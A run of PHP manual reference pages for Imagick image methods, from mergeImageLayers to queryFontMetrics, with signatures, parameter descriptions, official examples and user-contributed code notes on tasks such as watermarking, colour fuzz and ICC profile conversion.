Imagick::medianFilterImage
Imagick::minifyImage
Imagick
PHP Manual

Imagick::mergeImageLayers

(PECL imagick 2.1.0)

Imagick::mergeImageLayers — Merges image layers

Description

bool Imagick::mergeImageLayers ( int $layer_method )

Merges image layers into one. This method is useful when working with image formats that use multiple layers such as PSD. The merging is controlled using the layer_method which defines how the layers are merged. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

layer_method

One of the Imagick::LAYERMETHOD_* constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::flattenImages() - Merges a sequence of images

User Contributed Notes

There are no user contributed notes for this page.
Imagick::medianFilterImage
Imagick::minifyImage
Imagick


Scales an image proportionally to half its size

Imagick::mergeImageLayers
Imagick::modulateImage
Imagick
PHP Manual

Imagick::minifyImage

(PECL imagick 2.0.0)

Imagick::minifyImage — Scales an image proportionally to half its size

Description

bool Imagick::minifyImage ( void )

Is a convenience method that scales an image proportionally to one-half its original size

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::mergeImageLayers
Imagick::modulateImage
Imagick


Control the brightness, saturation, and hue

Imagick::minifyImage
Imagick::montageImage
Imagick
PHP Manual

Imagick::modulateImage

(PECL imagick 2.0.0)

Imagick::modulateImage — Control the brightness, saturation, and hue

Description

bool Imagick::modulateImage ( float $brightness , float $saturation , float $hue )

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

Parameters

brightness

saturation

hue

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous 30-Nov-2008 03:36
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  // leave hue at 100%, drop saturation by 100%, leave brightness at 100%
  $img->modulateImage(100, 0, 100);
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>
Imagick::minifyImage
Imagick::montageImage
Imagick


Creates a composite image

Imagick::modulateImage
Imagick::morphImages
Imagick
PHP Manual

Imagick::montageImage

(PECL imagick 2.0.0)

Imagick::montageImage — Creates a composite image

Description

Imagick Imagick::montageImage ( ImagickDraw $draw , string $tile_geometry , string $thumbnail_geometry , int $mode , string $frame )

Creates a composite image by combining several separate images. The images are tiled on the composite image with the name of the image optionally appearing just below the individual tile.

Parameters

draw

The font name, size, and color are obtained from this object.

tile_geometry

The number of tiles per row and page (e.g. 6x4+0+0).

thumbnail_geometry

Preferred image size and border size of each thumbnail (e.g. 120x120+4+3>).

mode

Thumbnail framing mode, see Montage Mode constants.

frame

Surround the image with an ornamental border (e.g. 15x15+3+3). The frame color is that of the thumbnail's matte color.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::modulateImage
Imagick::morphImages
Imagick


Method morphs a set of images

Imagick::montageImage
Imagick::mosaicImages
Imagick
PHP Manual

Imagick::morphImages

(PECL imagick 2.0.0)

Imagick::morphImages — Method morphs a set of images

Description

Imagick Imagick::morphImages ( int $number_frames )

Method morphs a set of images. Both the image pixels and size are linearly interpolated to give the appearance of a meta-morphosis from one image to the next.

Parameters

number_frames

The number of in-between images to generate.

Return Values

This method returns a new Imagick object on success. Throw an ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::montageImage
Imagick::mosaicImages
Imagick


Forms a mosaic from images

Imagick::morphImages
Imagick::motionBlurImage
Imagick
PHP Manual

Imagick::mosaicImages

(PECL imagick 2.0.0)

Imagick::mosaicImages — Forms a mosaic from images

Description

Imagick Imagick::mosaicImages ( void )

Inlays an image sequence to form a single coherent picture. It returns a wand with each image in the sequence composited at the location defined by the page offset of the image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::morphImages
Imagick::motionBlurImage
Imagick


Simulates motion blur

Imagick::mosaicImages
Imagick::negateImage
Imagick
PHP Manual

Imagick::motionBlurImage

(PECL imagick 2.0.0)

Imagick::motionBlurImage — Simulates motion blur

Description

bool Imagick::motionBlurImage ( float $radius , float $sigma , float $angle [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and MotionBlurImage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants. The channel argument affects only if Imagick is compiled against ImageMagick version 6.4.4 or greater.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::mosaicImages
Imagick::negateImage
Imagick


Negates the colors in the reference image

Imagick::motionBlurImage
Imagick::newImage
Imagick
PHP Manual

Imagick::negateImage

(PECL imagick 2.0.0)

Imagick::negateImage — Negates the colors in the reference image

Description

bool Imagick::negateImage ( bool $gray [, int $channel = Imagick::CHANNEL_ALL ] )

Negates the colors in the reference image. The Grayscale option means that only grayscale values within the image are negated.

Parameters

gray

Whether to only negate grayscale pixels within the image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::motionBlurImage
Imagick::newImage
Imagick


Creates a new image

Imagick::negateImage
Imagick::newPseudoImage
Imagick
PHP Manual

Imagick::newImage

(PECL imagick 2.0.0)

Imagick::newImage — Creates a new image

Description

bool Imagick::newImage ( int $cols , int $rows , mixed $background [, string $format ] )

Creates a new image and associates ImagickPixel value as background color

Parameters

cols

Columns in the new image

rows

Rows in the new image

background

The background color used for this image

format

Image format. This parameter was added in Imagick version 2.0.1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the third parameter. Previous versions allow only an ImagickPixel object.

Examples

Example #1 Using Imagick::newImage():

Create a new image and display it.

<?php

$image = new Imagick();
$image->newImage(100, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 04:35
The color value (3rd argument) for transparency is "none".
Imagick::negateImage
Imagick::newPseudoImage
Imagick


Creates a new image

Imagick::newImage
Imagick::nextImage
Imagick
PHP Manual

Imagick::newPseudoImage

(PECL imagick 2.0.0)

Imagick::newPseudoImage — Creates a new image

Description

bool Imagick::newPseudoImage ( int $columns , int $rows , string $pseudoString )

Creates a new image using ImageMagick pseudo-formats.

Parameters

columns

columns in the new image

rows

rows in the new image

pseudoString

string containing pseudo image definition.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Pekka Jrvinen 22-Jul-2010 06:47
See http://www.imagemagick.org/script/formats.php for pseudoString parameter
Imagick::newImage
Imagick::nextImage
Imagick


Moves to the next image

Imagick::newPseudoImage
Imagick::normalizeImage
Imagick
PHP Manual

Imagick::nextImage

(PECL imagick 2.0.0)

Imagick::nextImage — Moves to the next image

Description

bool Imagick::nextImage ( void )

Associates the next image in the image list with an Imagick object.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::newPseudoImage
Imagick::normalizeImage
Imagick


Enhances the contrast of a color image

Imagick::nextImage
Imagick::oilPaintImage
Imagick
PHP Manual

Imagick::normalizeImage

(PECL imagick 2.0.0)

Imagick::normalizeImage — Enhances the contrast of a color image

Description

bool Imagick::normalizeImage ([ int $channel = Imagick::CHANNEL_ALL ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

Parameters

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::nextImage
Imagick::oilPaintImage
Imagick


Simulates an oil painting

Imagick::normalizeImage
Imagick::opaquePaintImage
Imagick
PHP Manual

Imagick::oilPaintImage

(PECL imagick 2.0.0)

Imagick::oilPaintImage — Simulates an oil painting

Description

bool Imagick::oilPaintImage ( float $radius )

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

Parameters

radius

The radius of the circular neighborhood.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::normalizeImage
Imagick::opaquePaintImage
Imagick


Changes the color value of any pixel that matches target

Imagick::oilPaintImage
Imagick::optimizeImageLayers
Imagick
PHP Manual

Imagick::opaquePaintImage

(No version information available, might only be in SVN)

Imagick::opaquePaintImage — Changes the color value of any pixel that matches target

Description

bool Imagick::opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Changes any pixel that matches color with the color defined by fill. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

target

ImagickPixel object or a string containing the color to change

fill

The replacement color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If TRUE paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::oilPaintImage
Imagick::optimizeImageLayers
Imagick


Removes repeated portions of images to optimize

Imagick::opaquePaintImage
Imagick::orderedPosterizeImage
Imagick
PHP Manual

Imagick::optimizeImageLayers

(PECL imagick 2.0.0)

Imagick::optimizeImageLayers — Removes repeated portions of images to optimize

Description

bool Imagick::optimizeImageLayers ( void )

Compares each image the GIF disposed forms of the previous image in the sequence. From this it attempts to select the smallest cropped image to replace each frame, while preserving the results of the animation. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::optimizeImageLayers()

Reading, optimizing and writing a GIF image

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$im->optimizeImageLayers();

/* write the image back */
$im->writeImages("test_optimized.gif", true);
?>

See Also

  • Imagick::compareImageLayers() - Returns the maximum bounding region between images
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - Writes an image to the specified filename

User Contributed Notes

There are no user contributed notes for this page.
Imagick::opaquePaintImage
Imagick::orderedPosterizeImage
Imagick


Performs an ordered dither

Imagick::optimizeImageLayers
Imagick::paintFloodfillImage
Imagick
PHP Manual

Imagick::orderedPosterizeImage

(PECL imagick 2.2.2)

Imagick::orderedPosterizeImage — Performs an ordered dither

Description

bool Imagick::orderedPosterizeImage ( string $threshold_map [, int $channel = Imagick::CHANNEL_ALL ] )

Performs an ordered dither based on a number of pre-defined dithering threshold maps, but over multiple intensity levels, which can be different for different channels, according to the input arguments. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer.

Parameters

threshold_map

A string containing the name of the threshold dither map to use

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::optimizeImageLayers
Imagick::paintFloodfillImage
Imagick


Changes the color value of any pixel that matches target

Imagick::orderedPosterizeImage
Imagick::paintOpaqueImage
Imagick
PHP Manual

Imagick::paintFloodfillImage

(PECL imagick 2.1.0)

Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target

Description

bool Imagick::paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the color value of any pixel that matches target and is an immediate neighbor. As of ImageMagick 6.3.8 this method has been deprecated and Imagick::floodfillPaintImage() should be used instead.

Parameters

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object or a string containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

mamcia at gmail dot com 17-Feb-2011 01:08
Seems that this method doesn't work as expected. Use Imagick::floodFillPaintImage() instead.

<?php
$img = new Imagick('/tmp/test.png');
$img->floodFillPaintImage('green', 10, 'white', 100, 100, false);
$img->writeImage('/tmp/out.png');
$img->clear();
$img->destroy();
?>
Imagick::orderedPosterizeImage
Imagick::paintOpaqueImage
Imagick


Change any pixel that matches color

Imagick::paintFloodfillImage
Imagick::paintTransparentImage
Imagick
PHP Manual

Imagick::paintOpaqueImage

(PECL imagick 2.0.0)

Imagick::paintOpaqueImage — Change any pixel that matches color

Description

bool Imagick::paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz [, int $channel = Imagick::CHANNEL_ALL ] )

Changes any pixel that matches color with the color defined by fill.

Parameters

target

Change this target color to the fill color within the image. An ImagickPixel object or a string representing the target color.

fill

An ImagickPixel object or a string representing the fill color.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as first and second parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Hassan R dot Bhutta duckscode at gmail dot com 15-Oct-2011 10:57
<?php
$im = new Imagick( "example.jpg" );
$im->paintTransparentImage ('white', 0.0 , 20 );

$im->WriteImage('myimage.jpg');
Imagick::paintFloodfillImage
Imagick::paintTransparentImage
Imagick


Changes any pixel that matches color with the color defined by fill

Imagick::paintOpaqueImage
Imagick::pingImage
Imagick
PHP Manual

Imagick::paintTransparentImage

(PECL imagick 2.0.0)

Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill

Description

bool Imagick::paintTransparentImage ( mixed $target , float $alpha , float $fuzz )

Changes any pixel that matches color with the color defined by fill.

Parameters

target

Change this target color to specified opacity value within the image.

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

alain at ocarina dot fr 17-Oct-2011 02:14
The fuzz is just working well in a range of 0 to 65535.

I suggest you to try to move fuzz on a color spectrum image.

1/ Get a color spectrum ( Google Image has a lot )

2/ Try this code :

<?php

    function fuzzTest($source, $target, $fuzz) {

        // Loads image
        $im = new Imagick($source);

        // Resizes images to make them easily comparable
        $im->resizeImage(320, 240, Imagick::FILTER_LANCZOS, 1, true);

        // Apply fuzz
        $im->paintTransparentImage($im->getImagePixelColor(0, 0), 0, $fuzz);

         // Writes image
        $im->setImageFormat('png');
        $im->writeImage($target);
        $im->destroy();

        return true;
     }

     for ($i = 0; ($i <= 10); $i++) {
         fuzzTest('spectrum.png', "test_{$i}.png", (6553.5 * $i));
         echo '<img src="test_' . $i . '.png" />&nbsp;';
     }

 ?>
Anonymous 06-Mar-2009 08:11
Actually it does seem to work just not the way expected perhaps.

Looking at the fuzz option on ImageMagick's site (http://www.imagemagick.org/script/command-line-options.php#fuzz), "The distance can be in absolute intensity units or, by appending % as a percentage of the maximum possible intensity (255, 65535, or 4294967295)."

As it requires a float, the percentage value won't work so it actually one of the max intensity values.  In my case, the images I was working with seemed to have max intensity values of 65535.  So a fuzz of 6500, for roughly 10%, seemed to do the trick.

The part that might be problematic though is how do you determine the max intensity of a color/image?  Using a static 6500 would be fine until I would have to convert an image with a max intensity other than 65535.  If it's 255 it would wipe the entire image.  Or fall far short on the fuzz with the larger value.
paziek at gmail dot com 13-Feb-2009 06:53
Fuzz attribute doesn't work here.

#!/usr/bin/php
<?php

if(!isset($argv[1])) die("input file\n");

$im = new Imagick( $argv[1] );
$im->paintTransparentImage('rgb(246,241,230)', 0.0, 10);

file_put_contents('transparent_'.$argv[1], $im);
?>

Will "remove" only colors that match exactly rgb(246,241,230)
Imagick::paintOpaqueImage
Imagick::pingImage
Imagick


Fetch basic attributes about the image

Imagick::paintTransparentImage
Imagick::pingImageBlob
Imagick
PHP Manual

Imagick::pingImage

(PECL imagick 2.0.0)

Imagick::pingImage — Fetch basic attributes about the image

Description

bool Imagick::pingImage ( string $filename )

This method can be used to query image width, height, size, and format without reading the whole image in to memory.

Parameters

filename

The filename to read the information from.

Return Values

Returns TRUE on success.

User Contributed Notes

Eero Niemi (eero at eero dot info) 21-May-2008 07:12
Actually the previous example causes file to be loaded twice on Imagick's stack, proper way to do this is:

<?php

$file = 'foo.jpg';
$image = new Imagick();
$image->pingImage($file);
$image_info = $image->identifyImage();

?>
Imagick::paintTransparentImage
Imagick::pingImageBlob
Imagick


Quickly fetch attributes

Imagick::pingImage
Imagick::pingImageFile
Imagick
PHP Manual

Imagick::pingImageBlob

(PECL imagick 2.0.0)

Imagick::pingImageBlob — Quickly fetch attributes

Description

bool Imagick::pingImageBlob ( string $image )

This method can be used to query image width, height, size, and format without reading the whole image to memory. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

image

A string containing the image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::pingImageBlob()

Pinging an image from a string

<?php
/* read image contents */
$image = file_get_contents("test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the string to the imagick object */
$im->pingImageBlob($image);

/* output image width and height */
echo $im->getImageWidth() . 'x' . $im->getImageHeight();
?>

See Also

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageFile() - Get basic image attributes in a lightweight manner
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - Reads image from a binary string
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.
Imagick::pingImage
Imagick::pingImageFile
Imagick


Get basic image attributes in a lightweight manner

Imagick::pingImageBlob
Imagick::polaroidImage
Imagick
PHP Manual

Imagick::pingImageFile

(PECL imagick 2.0.0)

Imagick::pingImageFile — Get basic image attributes in a lightweight manner

Description

bool Imagick::pingImageFile ( resource $filehandle [, string $fileName ] )

This method can be used to query image width, height, size, and format without reading the whole image to memory. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

filehandle

An open filehandle to the image.

fileName

Optional filename for this image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::pingImageFile()

Opening a remote location

<?php
/* fopen a remote location */
$fp = fopen("http://example.com/test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the handle to imagick */
$im->pingImageFile($fp);
?>

See Also

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageBlob() - Quickly fetch attributes
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - Reads image from a binary string
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.
Imagick::pingImageBlob
Imagick::polaroidImage
Imagick


Simulates a Polaroid picture

Imagick::pingImageFile
Imagick::posterizeImage
Imagick
PHP Manual

Imagick::polaroidImage

(PECL imagick 2.0.0)

Imagick::polaroidImage — Simulates a Polaroid picture

Description

bool Imagick::polaroidImage ( ImagickDraw $properties , float $angle )

Simulates a Polaroid picture. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

properties

The polaroid properties

angle

The polaroid angle

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::polaroidImage() example

An example of using Imagick::polaroidImage()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->polaroidImage(new ImagickDraw(), 25);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::pingImageFile
Imagick::posterizeImage
Imagick


Reduces the image to a limited number of color level

Imagick::polaroidImage
Imagick::previewImages
Imagick
PHP Manual

Imagick::posterizeImage

(PECL imagick 2.0.0)

Imagick::posterizeImage — Reduces the image to a limited number of color level

Description

bool Imagick::posterizeImage ( int $levels , bool $dither )

Reduces the image to a limited number of color level.

Parameters

levels

dither

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::polaroidImage
Imagick::previewImages
Imagick


Quickly pin-point appropriate parameters for image processing

Imagick::posterizeImage
Imagick::previousImage
Imagick
PHP Manual

Imagick::previewImages

(PECL imagick 2.0.0)

Imagick::previewImages — Quickly pin-point appropriate parameters for image processing

Description

bool Imagick::previewImages ( int $preview )

Tiles 9 thumbnails of the specified image with an image processing operation applied at varying strengths. This is helpful to quickly pin-point an appropriate parameter for an image processing operation.

Parameters

preview

Preview type. See Preview type constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::posterizeImage
Imagick::previousImage
Imagick


Move to the previous image in the object

Imagick::previewImages
Imagick::profileImage
Imagick
PHP Manual

Imagick::previousImage

(PECL imagick 2.0.0)

Imagick::previousImage — Move to the previous image in the object

Description

bool Imagick::previousImage ( void )

Assocates the previous image in an image list with the Imagick object.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::previewImages
Imagick::profileImage
Imagick


Adds or removes a profile from an image

Imagick::previousImage
Imagick::quantizeImage
Imagick
PHP Manual

Imagick::profileImage

(PECL imagick 2.0.0)

Imagick::profileImage — Adds or removes a profile from an image

Description

bool Imagick::profileImage ( string $name , string $profile )

Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is NULL, it is removed from the image otherwise added. Use a name of '*' and a profile of NULL to remove all profiles from the image.

Parameters

name

profile

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

gavin at softyolk dot com 12-Jul-2009 04:28
Thanks for this very valuable information.
For a further push in the correct direction please
consider that you have to download the profiles,

and your most likely sources are:

http://www.color.org/srgbprofiles.xalter

and

http://www.adobe.com/support/downloads/product.jsp?product=62&platform=Windows

Note that the profiles are free, but you must install them
to make them available on you host system.
Eero Niemi (eero at eero dot info) 29-Apr-2008 07:01
If you need to convert images that are on CMYK format into RGB and want to preserve colour information, this may be helpful:

<?php
$image = new Imagick("CMYK_image.jpg"); // load image
$profiles = $image->getImageProfiles('*', false); // get profiles
$has_icc_profile = (array_search('icc', $profiles) !== false); // we're interested if ICC profile(s) exist

if ($has_icc_profile === false)
{
  // image does not have CMYK ICC profile, we add one
  $icc_cmyk = file_get_contents('/path/to/icc/SomeCMYKProfile.icc');
  $image->profileImage('icc', $icc_cmyk);
}

// Then we need to add RGB profile
$icc_rgb = file_get_contents('/path/to/icc/SomeRGBProfile.icc');
$image->profileImage('icc', $icc_rgb);

$image->setImageColorSpace(Imagick::COLORSPACE_RGB);

$image->writeImage("RGB_image.jpg");

?>

There may be better and more elegant ways to do this, but hope this helped.
Imagick::previousImage
Imagick::quantizeImage
Imagick


Analyzes the colors within a reference image

Imagick::profileImage
Imagick::quantizeImages
Imagick
PHP Manual

Imagick::quantizeImage

(PECL imagick 2.0.0)

Imagick::quantizeImage — Analyzes the colors within a reference image

Description

bool Imagick::quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )

Parameters

numberColors

colorspace

treedepth

dither

measureError

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::profileImage
Imagick::quantizeImages
Imagick


Analyzes the colors within a sequence of images

Imagick::quantizeImage
Imagick::queryFontMetrics
Imagick
PHP Manual

Imagick::quantizeImages

(PECL imagick 2.0.0)

Imagick::quantizeImages — Analyzes the colors within a sequence of images

Description

bool Imagick::quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )

Parameters

numberColors

colorspace

treedepth

dither

measureError

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::quantizeImage
Imagick::queryFontMetrics
Imagick


Returns an array representing the font metrics

Imagick::quantizeImages
Imagick::queryFonts
Imagick
PHP Manual

Imagick::queryFontMetrics

(PECL imagick 2.0.0)

Imagick::queryFontMetrics — Returns an array representing the font metrics

Description

array Imagick::queryFontMetrics ( ImagickDraw $properties , string $text [, bool $multiline ] )

Returns a multi-dimensional array representing the font metrics.

Parameters

properties

ImagickDraw object containing font properties

text

The text

multiline

Multiline parameter. If left empty it is autodetected

Return Values

Returns a multi-dimensional array representing the font metrics.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::queryFontMetrics():

Query the metrics for the text and dump the results on the screen.

<?php
/* Create a new Imagick object */
$im = new Imagick();

/* Create an ImagickDraw object */
$draw = new ImagickDraw();

/* Set the font */
$draw->setFont('/path/to/font.ttf');

/* Dump the font metrics, autodetect multiline */
var_dump($im->queryFontMetrics($draw, "Hello World!"));
?>

User Contributed Notes

abcrdw at gmail dot com 18-Sep-2011 10:49
This script will print a watermark on the middle of an image. The width of the watermark will depend on the width of the image.

<?php
// Create a new Imagick object
$objImage = new Imagick( 'path/to/image.jpg' );

// Get the width and height of the image
$imgSize   = $objImage->getImageGeometry();
$imgWidth  = $imgSize['width'];
$imgHeight = $imgSize['height'];

// Create a new text object
$objText = new ImagickDraw();

// Set te text color
$objText->setFillColor( new ImagickPixel('grey') );

// Set the text transparency: 0 = transparent, 1 = opaque
$objText->setFillAlpha( 0.2 );

// Top left will be point of reference
$objText->setGravity( Imagick::GRAVITY_NORTHWEST );

// Create an array for the textwidth and textheight
$textProperties = array( 'textWidth' => 0 );

// Set the desired width of the watermark to 90% of the image width
$textDesiredWidth = intval( $imgWidth * 0.9 );

// Set an initial value for the fontsize, will be increased in the loop below
$fontSize = 0;

// We use the domain name of the server for the watermark text
$text = $_SERVER['SERVER_NAME'];

// Increase the fontsize until we have reached our desired width
while ( $textProperties['textWidth'] <= $textDesiredWidth ) {
    $objText->setFontSize( $fontSize );
    $textProperties = $objImage->queryFontMetrics( $objText, $text );
    $fontSize++;
}

// Calculate the horizontal starting position
$watermarkPosX = intval( ($imgWidth - $textProperties['textWidth']) / 2 );

// Calculate the vertical starting position
$watermarkPosY = floor( ($imgHeight - $textProperties['textHeight']) / 2 );

// Composite the text on the image
$objImage->annotateImage( $objText, $watermarkPosX, $watermarkPosY, 0, $text );

// The browser must know this is JPEG image or else it will display garbled text
header( 'Content-Type: image/jpeg' );

// Display the image
echo $objImage;
?>
thok nojunk at spammail thok dot ca 03-Jan-2011 01:49
The following fields constitute my current PHP 5.2.1/Imagick 6.5.1 queryFontMetrics() return array (once setFontSize() and setFont() have been set):

characterWidth: maximum character ("em") width
characterHeight: maximum character height
ascender: the height of character ascensions (i.e. the straight bit on a 'b')
descender: the height of character descensions (i.e. the straight bit on a 'p')
textWidth: width of drawn text in pixels
textHeight: height of drawn text in pixels
maxHorizontalAdvance: maximum pixels from start of one character to start of the next
boundingBox: array of x1, y1, x2, y2 bounding borders
originX, originY: ?

originX seems to shadow the textWidth field, and originY has been zero thus far in my exploration.

If you're looking to center text or locate it at an edge, though, use ImagickDraw::setGravity(int $gravity), where $gravity is one of the following constants:

Imagick::GRAVITY_NORTHWEST
Imagick::GRAVITY_NORTH
Imagick::GRAVITY_NORTHEAST
Imagick::GRAVITY_WEST
Imagick::GRAVITY_CENTER
Imagick::GRAVITY_EAST
Imagick::GRAVITY_SOUTHWEST
Imagick::GRAVITY_SOUTH
Imagick::GRAVITY_SOUTHEAST

Using setGravity() is far less finicky for the simpler tasks.
george at sogetthis dot com 21-Nov-2010 03:44
Up to and including imagick 3.0.1, queryfontmetrics would output size data based on an image resolution of 72x72. (see bug: http://pecl.php.net/bugs/bug.php?id=19907)

Should you have set a resolution other than this and be using 3.0.1 or below, you need to scale measurements up by a factor of YOUR_RESOLUTION / 72

e.g. assuming you've set a resolution of 300
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72 * (300 / 72));
$data = $im->queryfontmetrics($draw, 'hello world');
var_dump($data);
?>

In 3.0.2 and above, the solution is to set the resolution on the draw object to that of the image resolution
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setResolution(300,300);
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72);
$draw->setFillColor('#ff0000');
$data = $im->queryFontMetrics($draw, $string);

var_dump($data);
?>
Pete &#39;the Pete&#39; de Pijd 29-Jun-2009 06:18
You can also use $imagickDraw()->setTextAlignmnent(Imagick::ALIGN_CENTER) and $imagickDraw->annotation(..) instead.
waage 30-Jan-2008 07:57
You can use this to center a text within a box

<?php

$data = "Hello world";

$text = new ImagickDraw();
$text->setFontSize(12);
$text->setFont("Arial");

$boxWidth = 210;

$im = new Imagick();

$fm = $im->queryFontMetrics($text, $data, false);

$textXLoc = ($boxWidth / 2) - ($fm["textWidth"] / 2);

?>

$textXLoc is now the starting location you need to use to feed to your annotateImage() function.
Imagick::quantizeImages
Imagick::queryFonts
